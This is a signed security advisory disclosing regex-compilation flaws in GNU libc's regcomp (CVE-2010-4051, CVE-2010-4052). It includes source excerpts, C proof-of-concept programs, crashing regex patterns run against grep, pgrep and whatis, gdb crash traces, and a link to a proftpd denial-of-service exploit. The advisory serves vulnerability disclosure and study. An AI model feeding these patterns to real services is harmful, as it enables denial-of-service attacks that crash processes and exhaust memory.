-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[ GNU libc/regcomp(3) Multiple Vulnerabilities ]
Author: Maksymilian Arciemowicz
http://securityreason.com/
http://cxib.net/
Date:
CERT: VU#912279
CVE:
CVE-2010-4051
CVE-2010-4052
Affected (tested):
Original URL:
http://securityreason.com/achievement_securityalert/93
Exploit for proftpd:
http://cxib.net/stuff/proftpd.gnu.c
regcomp() is used to compile a regular expression into a form that is suitable for
subsequent regexec() searches.
int
regcomp (preg, pattern, cflags)
regex_t *__restrict preg;
const char *__restrict pattern;
int cflags;
{
if we use '{', token type will be OP_OPEN_DUP_NUM.
/* This function parse repetition operators like "*", "+", "{1,3}" etc. */
static bin_tree_t *
parse_dup_op (bin_tree_t *elem, re_string_t *regexp, re_dfa_t *dfa,
re_token_t *token, reg_syntax_t syntax, reg_errcode_t *err)
{
bin_tree_t *tree = NULL, *old_tree = NULL;
int i, start, end, start_idx = re_string_cur_idx (regexp);
re_token_t start_token = *token;
if (token->type == OP_OPEN_DUP_NUM)
{
end = 0;
start = fetch_number (regexp, token, syntax); <===== CONVERT VALUE
let`s see fetch_number =>
static int
fetch_number (re_string_t *input, re_token_t *token, reg_syntax_t syntax)
{
int num = -1;
unsigned char c;
while (1)
{
fetch_token (token, input, syntax);
c = token->opr.c;
if (BE (token->type == END_OF_RE, 0))
return -2;
if (token->type == OP_CLOSE_DUP_NUM || c == ',')
break;
num = ((token->type != CHARACTER || c < '0' || '9' < c || num == -2)
? -2 : ((num == -1) ? c - '0' : num * 10 + c - '0'));
num = (num > RE_DUP_MAX) ? -2 : num;
}
return num;
}
now see regex.h to know, what value have RE_DUP_MAX
/* Maximum number of duplicates an interval can allow. Some systems
(erroneously) define this in other header files, but we want our
value, so remove any previous define. */
/* If sizeof(int) == 2, then ((1 << 15) - 1) overflows. */
#endif
calc_eclosure_iter() will call to calc_eclosure_iter() match time. and
crash in malloc(3). Simple Recursion.
so we can't use value bigger 0x7fff in {n,}. regcomp(3) should return ERROR if we
use more that one time '{' token.
They are many vectors attack
grep(1):
cx@cx64:~$ ls |grep -E ".*{10,}{10,}{10,}{10,}{10,}"
Segmentation fault
pgrep(1):
cx@cx64:~$ pgrep ".*{10,}{10,}{10,}{10,}{10,}"
Segmentation fault
bregex from bacula-director-common
cx@cx64:~$ bregex -f glob-0day.c
Enter regex pattern: .*{10,}{10,}{10,}{10,}{10,}
Segmentation fault
whatis(1):
cx@cx64:~$ whatis -r ".*{10,}{10,}{10,}{10,}{10,}"
Segmentation fault
and more like proftpd.
Simple crash for CVE-2010-4051
(gdb) x/i $rip
=> 0x7ffff7ad3ea2: mov %eax,0x50(%rsp)
(gdb) x/i $eax
0x2: Cannot access memory at address 0x2
(gdb) x/i $rsp
0x7fffff5fef90: Cannot access memory at address 0x7fffff5fef90
(gdb) x/i 0x50($rsp)
Cannot access memory at address 0x7fffff5fef08
#0 0x00007ffff7ad3ea2 in ?? () from /lib/libc.so.6
#1 0x00007ffff7ad538e in malloc () from /lib/libc.so.6
#2 0x00007ffff7b17d9b in ?? () from /lib/libc.so.6
#3 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
#4 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
#5 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
#6 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
#7 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
…
int main(){
regex_t preg;
// char fmt[]=".{10,}{10,}{10,}{10,}"; // CVE-2010-4052
char fmt[]=".{10,}{10,}{10,}{10,}{10,}"; CVE-2010-4051
regcomp (&preg, fmt, REG_EXTENDED);
return 0;
}
—PoC1—
— 2. Stack Exhausion —
This issue, may be also use to Denial of Service by stack exhausion
#ls |grep -E ".*{10,}{10,}{111111,}"
int
main ()
{
regex_t preg;
char fmt[]=".{10,}{10,}{10,}{10,}"; // CVE-2010-4052
// char fmt[]=".{10,}{10,}{10,}{10,}{10,}"; // CVE-2010-4051
regcomp (&preg, fmt, REG_EXTENDED);
return 0;
}
Such a pattern may lead to allocate a large memory area, or large execution time
As we can read in vsftpd/HACKING
That's true. But the worst implementation of lib C is GNU. There is a huge
difference using proftpd on NetBSD and Linux
— 3. Stack Exhausions —
Stack Exhausions was found in GNU glibc.
—PoC3—
/bin/egrep "/(.*+++++++++++++++++++++++++++++(\w+))/im" cx
—PoC3—
when more '+' that more allocated memory. But let's see next one
the same command like in PoC 3, fails.
(gdb) r "/(.++++++++++++++++++(\w+))/im" cx
Starting program: /bin/egrep "/(.++++++++++++++++++(\w+))/im" cx
/bin/egrep: Memory exhausted
Add one "+" more
Program exited with code 02.
(gdb) r "/(.*+++++++++++++++++++(\w+))/im" cx
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /bin/egrep "/(.*+++++++++++++++++++(\w+))/im" cx
Program received signal SIGSEGV, Segmentation fault.
__libc_free (mem=0x7ffff720a010) at malloc.c:3709
3709 if (chunk_is_mmapped(p)) /* release mmapped
memory. */
(gdb) bt
#0 __libc_free (mem=0x7ffff720a010) at malloc.c:3709
#1 0x00007ffff7913431 in free_dfa_content (dfa=0x61f0c0) at regcomp.c:600
#2 0x00007ffff7924e1c in re_compile_internal (preg=0x61f060, pattern=0x0,
length=140737488347176, syntax=<value optimized out>) at regcomp.c:823
#3 0x00007ffff79256de in __re_compile_pattern (pattern=0x0,
length=<value optimized out>, bufp=0x7ffff720a010) at regcomp.c:231
—malloc.c—
…
if (mem == 0) /* free(0) has no effect */
return;
p = mem2chunk(mem);
#if HAVE_MMAP
if (chunk_is_mmapped(p))
…
where
#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))
mem variable (mem=0x7ffff720a010)
(gdb) x/x 0x7ffff720a010
0x7ffff720a010: 0x00
or
(gdb) x/x 0x7ffff720a010
0x7ffff720a010: Cannot access memory at address 0x7ffff720a010
(gdb) x/i $rip
=> 0x7ffff78d2c2d <__libc_free+29>: mov -0x8(%rdi),%rsi
(gdb) x/i $rdi
0x7ffff7ed3010: Cannot access memory at address 0x7ffff7ed3010
(gdb) x/i $rsi
0x0: Cannot access memory at address 0x0
or check this
(gdb) r "/(.*+++++++++++++++++++(\w+))/im" cx
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /bin/egrep "/(.*+++++++++++++++++++(\w+))/im" cx
Program received signal SIGSEGV, Segmentation fault.
parse_dup_op (regexp=0x7fffffffdf70, preg=<value optimized out>,
token=0x7fffffffe010, syntax=<value optimized out>,
nest=<value optimized out>, err=<value optimized out>) at regcomp.c:2547
2547 if (elem->token.type == SUBEXP)
(gdb) x/i $rip
=> 0x7ffff7922644 <parse_expression+756>: cmpb $0x11,0x30(%r15)
(gdb) x/i $r15
0x0: Cannot access memory at address 0x0
rax 0x0 0
rbx 0x61f0c0 6418624
rcx 0xffffffffffffffa8 -88
rdx 0x0 0
rsi 0x61f0c0 6418624
rdi 0x0 0
rbp 0x7fffffffe010 0x7fffffffe010
rsp 0x7fffffffdb70 0x7fffffffdb70
r8 0xffffffff 4294967295
r9 0x0 0
r10 0x4022 16418
r11 0x246 582
r12 0x7fffffffdf70 140737488346992
r13 0x4730ae8 74648296
r14 0xffffffff 4294967295
r15 0x0 0
rip 0x7ffff7922644 0x7ffff7922644 <parse_expression+756>
#0 parse_dup_op (regexp=0x7fffffffdf70, preg=<value optimized out>,
token=0x7fffffffe010, syntax=<value optimized out>,
nest=<value optimized out>, err=<value optimized out>) at regcomp.c:2547
#1 parse_expression (regexp=0x7fffffffdf70, preg=<value optimized out>,
token=0x7fffffffe010, syntax=<value optimized out>,
nest=<value optimized out>, err=<value optimized out>) at regcomp.c:2390
#2 0x00007ffff792387e in parse_branch (regexp=0x0, preg=0x61f0c0, token=0x0,
syntax=18446744073709551528, nest=-1, err=0x0) at regcomp.c:2163
#3 parse_reg_exp (regexp=0x0, preg=0x61f0c0, token=0x0,
syntax=18446744073709551528, nest=-1, err=0x0) at regcomp.c:2122
if (BE (start > 0, 0))
{
tree = elem;
for (i = 2; i <= start; ++i)
{
elem = duplicate_tree (elem, dfa);
tree = create_tree (dfa, tree, elem, CONCAT);
if (BE (elem == NULL || tree == NULL, 0))
goto parse_dup_op_espace;
}
if (start == end)
return tree;
/* Duplicate ELEM before it is marked optional. */
elem = duplicate_tree (elem, dfa);
old_tree = tree;
}
else
old_tree = NULL;
if (elem->token.type == SUBEXP) <=CRASH HERE
These vulnerabilities are not really dangerous. However, there is the possibility
to use the DoS attack. An example might be an exploit for proftpd. Option 3 allows
to exhaustion avaliable memory. In my opinion, the GNU should fix the problem.
— 4. Exploit —
proftpd/linux:
http://cxib.net/stuff/proftpd.gnu.c
— 5. Greets —
Christos Zoulas, US-CERT, sp3x, Infospec
— 6. Contact —
Author: SecurityReason.com [ Maksymilian Arciemowicz ]
Email:
GPG:
http://securityreason.com/
http://cxib.net/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)
iQIcBAEBAgAGBQJNJk7rAAoJEIO8+dzW5bUwQ/YP/1G4nXltaUdMrdoUu39DM+WJ
c3f+klSObS/1cDmzBOUte8ddiDdAVbU5yUvjkXkjWwMmxyPregxQxF85iUQ19UIP
Pekvo5iuI2Uh5hpWQiTxxHiTqEsGeP9XzKz9uLxQPijicD6vjovg8MkS9xEdg6ID
Q1KW+7tlWY7xgGXTqZux9Y4CsMXqIaWhZlIPJjXDIEipe6HzsKZ0UmRPGEuJGSOh
0tX8Om6PenFk8XOQSp20HMbK/W2qpc1hPAJ3/mrFO+uPF+8scpw413uhjwiSXOUj
HUWE/iioFHRuX9eb2mwDuPKNe32OgLPRpcz1nITQVrOXTyfnwUtPrQeRu6h8Dpv7
RGQtD2GdKknDpkfbUcw0/EHMSbWaJdOWZfFdDAl+rEhS8AwPNK2NJb+7LJ6AQmsM
VCrJPP5eM1XM9jsQT9tvhyOunvw/HMoH/k+GP34p+FiKDIYI1LF3Gxj/w53gUK3F
nYLzmoahnqC4WdfUfZizf24PXmH+385JoStrpC4Emn1kuFrM9i/eXQ3xI9My0OXJ
PFHmVCFx/4iXSi/YNcShZellwi60kFe2OvfJ8BYtG15H+xr0djznLhMqbr2YMisJ
066WWpfe1hTTJezLjbM8Sa9NnufXnEV+jWUocQ+dsSa2Tecn8DrsGor0Yd6UR6in
s6+OIVFddtIZrQ6dw+Kk
=kcIG
-----END PGP SIGNATURE-----